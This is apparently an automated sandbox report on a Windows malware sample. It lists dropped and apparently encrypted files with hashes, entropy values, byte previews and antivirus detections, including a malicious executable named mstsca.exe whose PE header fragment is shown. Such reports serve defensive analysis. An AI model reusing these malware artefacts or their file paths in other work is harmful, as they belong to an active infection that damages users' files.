Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	895
Entropy (8bit):	7.773758939221008
Encrypted:	false
SSDEEP:	12:YiOrMkvTcoOfzTbGue4vMcN6jqnjpueDhRBB/jrmQ3NLuWHULdlQi/ZsDfIXNjVX:YDrMjOzmMG6j8j4E5B/jr/6DXsDKVbD
MD5:	C458D85847D837EDB94E90A849A08377
SHA1:	89051EED5FD519244BC49E772254965B5528D6D5
SHA-256:	DD976F9C15300D0E905B6A215353AAA677582DF0D6CC1EE35F640F1B3E383828
SHA-512:	57FEAE088114C1E16DDE575722EDC7FC8068CD2C82D15947F061BB9CB1B65978352CE201D945ABD8CD35830870301509EAB90A87D9BF3DED80BE22F316F319F9
Malicious:	false
Preview:	{"pub.b{7.......+.....R.U.....r.8.`..t.<.{..Y.p..L..`..H[.k.q(w.....Ha,....D...{..02..[..#.J..B/....A.......W...E.c..c..........y.Z...............dw...:............\|.(v..dj.r..N....lZ.k.0[=...H.....T...!.B.D......g..5.W..fW..f(.....K.(......9V.y.v.[..V......C\..e.....<d'..Q<_..qq...?...I.y.;.. .b.M.i....-...L7y+;....!..vA.5T. .+...,..b5..x^....%.Q..d......vp./...M....A......E.=.=n....K.:*2.s....<}C..s.{.....W.51.6..J...q\|.]h.F.....A.$yi...>Mt....D...h...@.6...`.6. .:.0....'.T.0.G.2.......!...LPD..n.0.._`...T..........g.+l...`..nE.8B\#.P.!.#........0np..d..j..2as...._.P..zq."J.d.l@'6......3M.....[....E.F...Z..v....0....-.s.o.>x.!.V....y..c:.<:...7....T......X..4p.......... :.\..G.....9)..pE>J..../.....\..{..a....J0..........tS.....i.....X..c'...m...k... Nqz....cx_itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997721273190342
Encrypted:	true
SSDEEP:	1536:FqfRFZVbag9gFmPZ9Q3pFDU/RPCXSM1N9KKkA2:FwFfjgIZO2LK9t2
MD5:	8BDCE7D8908F31B0B61C79D68985B733
SHA1:	D78DA3C6F326B12F79E5CB3AF956ED5F045E9929
SHA-256:	F2D763D7786248538EE13BAADA1CBD66CA1D3D362496F9DBC7BB5ACBCB806584
SHA-512:	638A6BA8E5ED08D0FE18A9E24A3F5C9E10025E5990CDCD95277DD4CF10BC895996FDCFDB1DC365BF43FBF28675659E1B96DF09ACA7D679B33E187D41B04951D8
Malicious:	true
Preview:	0.......>...N...g.yVF..v{.8.lg..g.6.U.]..:./."Pf...."..j.$>..p..%I!.4Zt.(?d......h.....Z.....H..2..O..pM..M...=]y>.Z......N./.v.=.....%H]...)....a.[T61}5...!MY!..).tc...$q4.:.z.@.U~Qx..\|.C..s.i..n....X{...#.}O.M......,..\|....Js....p.eo.2.{\|....<...L../....H.\u.lUh..ajx.V..l}.A...&......8...2.$[..'.H-C.X.:.jFh0.\|..#11..HE.F.Z....LtDb.$* ."......=..)^.OY.=...Q.o..CV....C.].@.K...6..X..-Tu.7.Z\|.~....L....D.......e.(....W..>3.G..W.F..3...K..[....A....s...#.....8kz.S.<.D/......m..fKe9F.Y.R.........~k.D.U..-.G.(nE...=Ui...:T..Yg....`)..!..,9..h......~.5.."n.k.......L.K..C,g..'.n..;uU...)SrBW=..XdXNtR...5C....\|.k.o......hN..D`.8..}.wm......:.Z2-......4.....D75.K-.@1..%.....&..'.).....L.....7<..dP.....k..4/...~k9_I7........Mk....p..U.mV.Q...8(Zb..'...r....e0..V..pKEq............#.n.K.nN.S..I...D.k.c.2.<.\.....GB#A....x....>.zAZ.....!...'..G.-( .0.<..bB.dUt..7l...5..JWK....s.c.......H.(2..[.r.Cv.........Rp0........$...m.....+Y.>...o..x

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.817410442292662
Encrypted:	false
SSDEEP:	24:yv8Ls02K34WiYPkQGid9NZya2a/zmFrGYe0kLAgyXVbD:yv8Ls0L34X0/Z9N12ayFrBClyXFD
MD5:	23FD229ACBFA62EAB84F726DF308CAE6
SHA1:	85E466ECA3189D18F734D4A01276CDADF8019E0F
SHA-256:	70954F833B084E604DDE7F1CBCDDD82BFAB4B611467C49B7A0E9862B4929F420
SHA-512:	4DDA4B0E8D432C8500D38CC46C7489C85FFF615723E922575AD9C26F8B5596EC892099EAEF84CD6508046EFFCAB6E1C451286C32345F1C96B832E0EB44E8E4A9
Malicious:	false
Preview:	0...0Qb.I...c.:...!....`.C.S...0.....y_..._..#U.$.(..HgT<.......A4s.q/...&...2.~SD..D...1....}!.N..}F....:x.T.2y....q,..m.+..Q[....G...W.;8...8.}...G.\,)..Sn...l&^\|[..p.....g....'.m,..p..6.yDM.'....KV`....'........T.tC.a8..%J....O6nR...Y.D...!q..2...gGl..LZ.....f.)ef.......CO<..(......[..?..O#..x\|]...r.....0:...B....S.T.M.M~.xz..1j:.Z..#.V6`..t....O...5.:..H..DET7.h.B..GL...}...=m.:&.....~T.i.....bs....yj7.]......w.8..".>...'....M.)-....n.j.<..{X..wa.:....u.o....n.......F......~U.8F#.a..nQx.......-...I.B.'..8......n.~...B..U.&...1.k..A.Q.g9.]...%Bp..%]...9/RS?O....e../).E......{.....[~^?J...hi.4H%.h...vg.t......P....&.y.._..3..ga..M%.G..).`...c...fk..P.....C2?..........\|q......{........\. .1/.K..VYVd{.....L.4-.".%\^....F..1).t6...L. N.?y.6...k.S.+rga.....q.J..0.`.\...`..........;.i..l..y.'-q.}jY.e...i.A<n......_,....P.4M3.vF~.2J.f7/.\.-.#o.K...G:p:J..Oa.K.K..r......k...'?.'.......UG..Rl.......~e......PS."..`.A........dw@u.itkm7MO

C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Download File

Process:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 87%, Browse
Joe Sandbox View:	Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse Filename: 2llKbb9pR7.exe, Detection: malicious, Browse Filename: CDssd7jEvY.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WUTJSCBCFX.jpg

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8458907796912705
Encrypted:	false
SSDEEP:	24:9Fify5ptLeq+qHgQXdTlyKG7bDrq7h4p7r25lvwKiHboUNHSKbDv3ABZxV1tSZVX:jjBBZHpVlLyrCWn2LbiHbTxfv3yxfsZ9
MD5:	1A144047EEC4916CEED8A1BB4AB84DB7
SHA1:	3F4D637901B09694D11C1349B68F078C7B4B2539
SHA-256:	74CD1AA4D9886D1648ABA31794236FA820B7DC38B72DDFC05B9B0B9F9D3E4DD6
SHA-512:	AC7BE67A22CC53319AD0E62C2AA0739EC7B09D98C566F9B7306A13B1D3437060BAF4D708E2C5125325977B82CB8CC7CDA20C47E293D59B91CE980DCB88389581
Malicious:	false
Preview:	WUTJSB[..FH.x.v.....q....:l[{pj.j....]Ww6......a]....q....]....a.V..r......F`...%-@S.v....o..y/.b......j...5....+391..N.........P.../.....V.].../..E.../.!..(..#.....D..5S{q=..fR.\|H...........}z?M..@abnk.6...).{.Eq~....^8....KKp<.a.......D..ND(.jXAv5...(=/0wGrM...&.<.8..~-F..p<Q...O..V9."?......}..P&iG...T.....(.#V....9.......v..=.f..^eU.............J.F..._.=...........G+4u.U.<...B..0....Z.b....@.W..=h...Tq.........5...>..0a.a}9.E...k}.ZJ9?I.(h-9A....`~....BB..Z...NL(..}...,L.=...V$..'..7..2..4.y..(..-.o.....<r.I.....y..s.>......5.b..o....."y.f..1X............u....!..h5.?..n......f.*...s..'~..q..9.4.T..CA....-.].p<...W....k3.q..r&p.5U.m..k.M...%`.#..^..I.:........f#_.-l-../...v.......v.. .@;. ....O.....'ij.O.-.I.yG....e5.'......U.,J...Zz...:>!.o..A{.....:.o....;.f...`_>.....5.~D.9..=.....V...`.v-Z.f..}..RKBi.8C^.}....-.......Jz...%....R...7..s.......KB..Kk.6...!.V.z0...R..3.MXA.<..J..pn...RH6c....Y5..+wg....CD.].&og.....5....X...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WXDORXTPKQ.mp3

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86261492362372
Encrypted:	false
SSDEEP:	24:l6nOlT7Aem5wjlxeSjBiOR4FEQfnZEv0cPpKspgHMLlFnUxk2LZYsPDVbD:/0qjlQSFPR4FEQfZEvJpKAFUxk2ysPD9
MD5:	4EECDA2DF3E152508A79D58712D78261
SHA1:	7DA1BF005F42C0D77A159B66269367168B54C445
SHA-256:	2EB3F18D52E73A3F027C91B60A1D4F942FF26DD62EEDB755198CE07C8504F33B
SHA-512:	B9496535145C4EC181C976D1DF0647D3B8181F6DDDE75D8AADE0437CF0307B69EE7C9527F8EE66D71CC4E8019B5F21C6030336DE22C1C67C3D107A8F4D5F0655
Malicious:	false
Preview:	WXDORO../._.!w..q4...q..]........j..Y}q.L...Jm<.U..$..!....J.....5...A`$.^..i.m..7.xM..}.{{.o0%..4a.?...P..6.v..>}..i..O..@..Sk..U>...>?4Z'..?jD....@W9.9Z.2.I.......s...(D...+...XV.&...!H.k..Z..{.I...Y.Z.........(..Y.b.$.....X[..L...#u.....n...Q.......n...K..m..`..=.6"#e.=....$.8.As.Q...)...2.X-..f.z....u.}.m@........b~..3.C.3:.wZ.......3..w%n..Z..]....>..^..........}U.L..A..2..`.J?...Y5...kOo.G.!.pJ.......{(c.#..F.r>m......L...G.J.q.~. ....~.a.t..U:.T.iX.J.e........)..+n.....~Q...V.s.0Y...6...A..'-..IAz.<6?F..'..k..w.....Z..PA.<&...P"..W0B.<z.l74.#.r..pA.......m.o...=....\Kuj.e....Yi.8b.H..U.I..;"V.C..........H./.U.........V..h.X.....[.j.s..h]..R....FI4...s$..\v..G/.XW...)T=..Z6!x...I..ja...G.x..&H!^S..s..X.........H..}\|?.}:=.S.-.G...\`.1 ...B.h}.W..R..........6.......^.{E...P..5.]c.G.'.o'...u+...8.c.wY.U.V.V..=o:...c...E4.M8..2..NY.[..c9...xfJQ.)R....V1....$}../0.......X.7.]..dN..:.r.`e......Lk...&.(N.r.<Z../..1...x..x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.docx

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852172706202779
Encrypted:	false
SSDEEP:	24:OuOo8VO2B1X0dcqijDdKz1MqhWG5ahGkp+mtycvUHLVXo1sj8eVbD:Ouh4nBBZqiUz1lAG5avp+RvBXo1sj8e9
MD5:	6AA2A5DF60EC16F26D82CAA4951FFD47
SHA1:	6511F6ABC55D21C9A4628DB62880B1FD515E98B7
SHA-256:	90AFD89371435373666EA23E61AD7E123085165700AB69F6F3416C8DCA2D139D
SHA-512:	F9FE4B9C97A10C110631D662D362C8075D1A8CB806B53E1A6E6FA1D9A8D92011C37E92B6FA5C1448A3D1F144A98C865507DE192B813DA750AC4730C0C18E7DB8
Malicious:	false
Preview:	YPSIAd.En.\.`+.x...t....!...p.".t.Yf..Hq..T.0.)\|#a...7..#....\|v..."s...&..E4....C.(..........!.my...l.;.Hq....I.....p../e5nU.s...P."S...9.M.4"..e..W.~..1/..K"..,).Kw..b..;@9t(..u.y....q'l..f..........z<...tq'Ykg.......8M....b...AVH.:......<?.1.6.(..y........G6..-.<5.....i.P.x 0.#w.jc.].....!._<....a.:0u W.Lt.-..\.6..........(..M..a..~=...oP... ...;.Fx~..P.Y[?.U.ViF.{.fD5r..{R8.L?.h...r].C7X.v.2\| .q......:I(.....J...^.e.H..Q..n....Y..P.J.3.R.~.!p...w{.GJ.-.w.V....N#......x.w.z}.q..ZZ.A.d.ol.n..K5.,.omq...P.[e.pe.....\l_3.P[......E!...(.G.....e..@...`F.\.....[2._..G.....6Q..b.Cb&.L..Q2...j..........."..Q)0...n...6.....hbs.K.'..'..X........P-.<....W&..n.$.>e<:@.YD..t.v;BI...t......c...J..k)..ixo+.<r.g..K.7 ...b.v.....`..._..9.H.kMhA............Og...+c..F..q.t.A...J.6.-.+D...{8..3l.]..w.J\|c%..Sm...wm..C.Z.$.....n>......#.,.H.~R...M....'cd.6....qG.x...o~u.m0..XD...c:.k...u..5..l......*.C.-{.+mQX.;. ?E.W...z.....2. ..U..,......_...h

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZBEDCJPBEY.mp3

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848460579492061
Encrypted:	false
SSDEEP:	24:dfwL8ciOkaQtsfjuCNEtdtOXOJQprwDK5M3+XBof2t+JoNVbD:doAciv2uCudtOUQxmqof2oMFD
MD5:	50932B64989A9067D267BF021204A355
SHA1:	1DD4DCD8A199E89EF616FCBBB6E6087238DFBC08
SHA-256:	B96D4196A87A0F0A1A5DC9D40C36E087377595B191660698E490E66B6FD7DA2C
SHA-512:	ECA1037FF6105794EC405A189A20597F573D4B58085B202F38440F036DBA9A068EA660C9F7D35564623F3D40D16FBE8032344A395EBF4183133344F34557950D
Malicious:	false
Preview:	ZBEDCf...uT.0....x.W..(..j..W.....8c.m..rM,....r_.q.A...@"..X.DMx....?.=.t.Q.!.-q.......x....m@.+..D....g.....8k.......>52.t..g\.E.V...F!......z....z. ......T.UQn.P.WJ.j.\..1..l./.a.....F5q.#....7..JV...V.R........?s...^.....!....U.#v...Nj.Dj.X.u...<v.....s?c.y......!x'.U......q5...z.f7{? \........H.K.....P.l..g..Q..\|.m...........OI'v.0..!3.......]:.{m.........BlQ..+....<S......i...x./....~dT...s7p.....}.7t"ku..\|........I.+...H....z=.8......+.Lho).a...4.aQ}McI...0[1.(0.....>..<....P.k@...mOo6..zE.h..N.S.O..:....te.O.....C..+.S.:...g<".-..{.0...[5J...%Z..}B.h+..../K\|D.....+>.hN`]...%.D.$..l.>b..i.y....S.7...9>...!..3..t.CsZ.Fo.]]=.D.K..0...M.`W...Wd...[,}.6*F.....-.UPQ....H....}^..`.N0.02.Q?7.n.]....#.z....)...q.I..?u..a.@!b..V..2.....S6.........'E......w.!.hf..,.w..8s.$. ...V...=.AY..[\.\._......D.SI~...Vy^.'~..d...t...K)D.=W\|..}ct.l..f]5K..0.o]...r_\>..\.....r..x<.g.}m .....!K...X.^....Q.8.....&..7...O.g.^+.).....>y.@.#.vf.8.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861788413076745
Encrypted:	false
SSDEEP:	24:ZHGlJkc2Gy/cUJr9HDNZ5oJGEhpHzoAXsX7ma0/hMuLMVbD:trTcUZ1p8XZfa+RgFD
MD5:	80474A57B4490B1E9E1CE9E7A883215A
SHA1:	16733C02264E9A0015D35BF53AA8CD4D0EED7F80
SHA-256:	CFD5A7BD1C48C1F29C4E46C03BE746400B0E3A4B3343E80925ECE2264737A18B
SHA-512:	55C7C06E3E607CAA4B7C740C1D6DDD3687689AF77B9934D3F14B3DE75B3B8B0466FC8BDC235A43B9589A6AC127E8B89033435F6282998713761E70209785A9FD
Malicious:	false
Preview:	ZGGKN.l....Y......EQ%.f..s...e.9~.!Z...b(.......K.TG.>.m..2.] ..9...Vu.....M.h..]........?N..H.7-.....l....ltQ,....a.....a.>..Or.t..ih........y9J.H.}....%U."8:.t.qO.my&..@.~..WB..s.S.......[l.Fc} ..!..#...?....X!C.+........G.u...%e.... ...3.........3.i.~.=./....T..U-....4~L..R.....i..uqG..t...+.....%.p^..@....y.6D.....&..)=...}..+n...i..../F.9.<t...$.O....20...<.......N....{K.."...sR.X.T/F.C.../.Z...R.h...,[.n.`.o...@..)e..Bn.....m.8O.B..k.>.8.....$}y.;A?[S..M...J..Hb'..E..5&...%.P.!....A..f.U..S=]m..).>..f^.jKQ%...&..Q..Se.U..e........f.C...?..b.2gI.]..D...y....3.D._.......sD....6R.G..t.&c...r...........#.=.g.B..s:@....4F.............n..)........#. .c....$n.>h........[.$`07......d. o.c..6...X\.0^.I.sOrW^.....JJ."...Ft.B..b63../..{.. U.Y.Hv....=p3.!...}M.'.J.^.&.....0U.#.O..._..f.E.l.....K.v....d......b..o.Y\|.M.T9g......6...."jX.@7.2..Xq_y../.Q.....I._..e9R...rxEt...>..K^.3..C.X[.u.I....V.lJx.~.Z..W.N.sCc4....e.....J....5.5.LA3..Z..0.6k..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.mp3

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828815231915308
Encrypted:	false
SSDEEP:	24:BmqwEe8IY8pnyY6/TEqfYf2lAwcRhrF6fTT5lRzkGgAjnpdr/3xyHf8rPSJ5nBBF:rwEe865F6bEq82lAwcLITLpvgAjpxPwR
MD5:	F0C0964AA6338E96786DBDE3C15F9D57
SHA1:	D18BEFB7B21C74A169C0BE6A7132987491A5A960
SHA-256:	4672327165F7DFBA5B99809CC3441EB006CCEF6728C360A3A44EB87ADC62F7D2
SHA-512:	4A00E5EF76953F72FBD8980A87454A2F72AC0E7A14E8B1C1B6995F31E4F0C8BA894EE2F1E0F6A8976136400725E9B09248554F43399AAA203269522B02F63B3D
Malicious:	false
Preview:	ZIPXYfQ.Q....{bI....$..?....K..d..z.R!.XE.L._.".nC6..Z.B..Ia...w=...y.)..E@.......A'.d..\|\eH.M............a\|\9..z?u...U.B.$ h$y."...0.79....K-d_.....Q.2. X.......q..^!..,}.Z.5..8.8...,wN...-..mK..C./.0....5...3.w.# .Y....;..%x....-..Lt1j.K.,6.ZW..^.....&...pl.Y...._r..K.Dxp>.. ".......}.Vl.$t.,.qhO..lYb..w....\|%......Ey.,.S".l.C...t.m..w.P]@.C..(i?F....zD...;v.`..S[...2Z....@..k....n..@3(....'...~L......`..Y.........-,.#.q..{......qKF..9..m.z'..!@.B..W.....:-...$..bs.o........l.....&.0Q.V<HT..=...R)\|../...!<(.e.lA..)[E$....jh....L..........o.."p...P..}..F.[...............g....:.X.TS...dvk...+_..6......C..G..$..!.M....~.0(....cd.T..qJ.].l...m?..H...f(..H.sZ."..-b...3x."):}..Q.q.qN..c8.....&$93.Z.l.......U...v.C5m...O.=..*.^5W..r..q...X}..<..T...._.D$,..-.Y.v@,.V...6Vr.....I!\|.c..G....Q.@.r5.m.S......}...3.....00)n.t$o~.?}....k.916Q.c.@.G......n..tI..\..Wn.h......0.7....\2..xy.-l..u.f.5a.!.x`-...;G.$.p..6-..>..o..6..zV}wsh.T..}.x..Z7.OTPb.F...".D

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.pdf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8748987645316815
Encrypted:	false
SSDEEP:	24:J+GUkEyQQpLiKQKznBOjyDGGyDt9vLD0RQDDJuyG/P+pN3nWVbD:F/pLkoBnGG2tB0RY9rvnWFD
MD5:	B79C75AAD8BD1F8764D27D006300AF78
SHA1:	FE68FFC1275EB682B95A033D347C65B68CF546BB
SHA-256:	6150B5E535F427B4D55E8866ACC9F7E788A44ED1A9CB38A5D9AB298183542997
SHA-512:	BFD1C21C1ACD7EE3F874824A9E200DE9DB1CC27596373C8B37F1007458FF44B66578E0942C9A5AEB8B290DD2BB1056D41080F2A502CE69876DF4278093D3290D
Malicious:	false
Preview:	ZIPXY.......L.#.v.....I\......L.u.n........u.%.C.;.......h..n....H..0..K."....s..$.3......4d....>.S...F7h..n....-...k....~....7.......#y .Y...Hk..P..`..5..E....r.......hH.b;...$.......f..h.....Q..(E<..u._.Z.>..v...p.m)l...Kprc.K.....]1..tD/a#.....7.......m.D..V@.o=.`..j\).4Pk.A"....x.!#.I...K.....=&L....V2..O.\}.......\._KZ..}H._.`\.k....l.U.2e...(.]..k......(.........}p...5...\...E.......H..s..N..]...H..m..B.<.....x......w...J.....@./...\t...P....~&BU....Z.W..y<i...K...o.Vf:...Zq.#..m..?...@.....~x....U..:...a^.....#.R...=...e.3. k.....[~...BLH.."...PVHu......mj..,'....F4Y.T. ....Cx.4.=.J/..b.Fi.o...s...O.._.z....uJA...81.....h.}..Q..A.}V..Z.,(.qO^.EO....:X....&..OtDEo..t.9.k.:.g).{<.Lw. ...M...{..c...F.3...x!....wH~t...r}...J..4.cN.s..^......f...Y..,#Lv...."...+Hgn...........vw.E..B._....^U.L.S.2j..........d...f..q..a..&..\|zUf.2u.*C+..j...?.I6..<. ....$#>. ...........Pr+.W..0......vL".o...s.C.8.k.........4.~...r1.V.JS..Y...2_

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.5286550313314455
Encrypted:	false
SSDEEP:	12:YWT9+9eYVrbqHM9D37qRgIm73ApSyGD92QoAjVcii9a:YICrbO0WRgLQ6BVbD
MD5:	DB860B0806EEDD27E4BC2AD00C9F17A6
SHA1:	B5EA2FEB4B080A14177ECD6B9D325FAFF0CBAFB2
SHA-256:	79AE6F88FF19110E8660D6BF3077BE494B89C899BA322B23BFA5A9F4958839EB
SHA-512:	F269A2179156E6B2A5F10B035A9C454B660944A295E56F94A0E6659C4F198052C89D5DB56F84D86AD9ED7DF98DB30AFDCF953609ECA26B5EC953147B80BA4E85
Malicious:	false
Preview:	{"ses..4...Gt.S.......Y.{...}.p..-zyS-G..^m.5.7!........W.j..$X..XD.....dc.*[..G.}'.r.:'..@.\?...B....)R..'...=P.....>9.t.^H....we..s@B.....3%..,...T.....'...B...."jQa..p.(..,...Dv.O...".3.Q.}...A.>2..u.=P...h+........%O.?.V..l.......p......-`_.W.....{.......m.6.j.fx....^.N.....{.{..r....!:/.dI...>...xJ.h.....,hQ+.d?..=..q.:.....Q...Q.ma.5.v_....Ur.......:...\|...3.)R.pM..N.B...t.FC_\itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.345418542366378
Encrypted:	false
SSDEEP:	12:YGecVEX86I0RgrXCk2c4mB4znXjVcii9a:YRaueKEf4mB4zzVbD
MD5:	34E7E3C101C44B04496389DBD7040498
SHA1:	D36DFB70D9E30AA29640DA4BECC7FD2E8AD3F074
SHA-256:	3914337BFD3066D5175B37AFE3026C01E5ABAB1A80E58D09369CB26CE78A88D8
SHA-512:	9D163EE5B29F20FE3AF3CC5169F99279CAAFF9BC222FE9DE86E416A3C96382CDA5617CF36215338F8D3EA5531D131625019AE305A622D9E1572BD6E6A822FD88
Malicious:	false
Preview:	{"cli..B)%F..E\|.......r....8...wa....Q.f.....)..\|..w.Uiv`gY.6D]...2.R.BP.r.....6$d....v.\|z...l....G..ZLu.4..g$.\.Ll.hZ..r..J.4O..s.....d.-'.f#....o...+..7......,V.ZIr..K...{{....$..:U0e..2..C^...H..`..N.#AJ.X8H............./..{..V..yt@.!9..4t....l@.c..Z.cu......?...Ko>Q.z..E..A1...\|...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.852751442219026
Encrypted:	false
SSDEEP:	24:nJ0KfPc7qRCPDYKL9DeMViglQkjlKcwMo+/KCM9jIn7kMRUjKaRRJKkEuxVbD:nJ0KWDnL9DeMVxvD+9UnijK8MGFD
MD5:	557B21035EBF1F4840FBECB8400BCDCB
SHA1:	04A8C7038437D91D440C312C6BFC5514EC0158B0
SHA-256:	CA209F1DBD561257ED41CB399B82BB6E218934046CF2BC69D8BC777A4AD2B962
SHA-512:	3DD3BED97FA227A8CB9B73A7277061F69070B36C9E8E0411ECF038E537221B90F7DE808CE51326894561217F4AFCA937A0B8DD5A59EAFD4AA986D5B9121B14F1
Malicious:	false
Preview:	mozLz..5..'....X-O.<..).}..ba.,.{...@#..%..=........s.uN...\|Yx..d..(...W.a.@e.\..O._.<...f..^...Z.Ej..-Ht}+-...c.3..'..........OB.K.....6....P....n^.=p...1/[ ....+..!....N.2.......}.1..O.....e..z.PV...m ..mk.M..7.F.....#B..K.Y....`hrd.".5.f..B}.q.G.?n...$..}TAD....V.H.g....)...!..)...U?.q..S..v8.._0..1...jwyR..c.......-l..P.v..O.i..W..o...W..Xj...d..e.H.".z.(f.M@..)<K/`u.#;....T8.....M...S.0K..'.n..uy..^.+,...z.-i0.<71._.!...K."..g.S..W.....RY....AT...0..B>4$...I].O..5.r..!b......k....B_P_...4.<{...e^.......5....t@/.\.Q.n.h....e.yZ.;.....n..V......#....tjMoi\|.P....P.n.`..../.]0...](!a.x..5\..a..{3...3.#...?....\9.:.Ds...qT.$...U...@.........S"Y`..7..~$..q..u<.4......#X.9g.......r...6.T.r..tt=...5.j.]..U....JT..R../...Z'.W.$[Be...U.mfHF...\|.?\Z.w....NM6?...YX.\....2..4......Q[n.]%...;.?.8.U'.......*..4....z9L..s.m..~=....[K8.."..J..(.C1..P..b1^...TqK>?s.DE.......>...F.......Yf"..x....Kp....}.sh.>..n.....Y.d.b<>........[..E.{.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.961085569677536
Encrypted:	false
SSDEEP:	96:YuvFeyVAOFuWA4DyC9MGBZGI47MrosemfZSlORv99:YWeyVHE4DyGvziMiGhb
MD5:	1817C3186080462AFDAC36343796CB29
SHA1:	95E9854F30172E4067E201B94BA932B15D941ED7
SHA-256:	1FE8242FE88A24D4160864850C404BA57A10F67CFA0FB1F9455D51E80B9E6185
SHA-512:	64C6E9646B731270974A4D3AE146821344162D3521E2F1C3E7F0A4BBA95AD19D6486E121591E54C5831C348BCAE06E2356CC73150ADA734B19FEFD4B6EE970C2
Malicious:	false
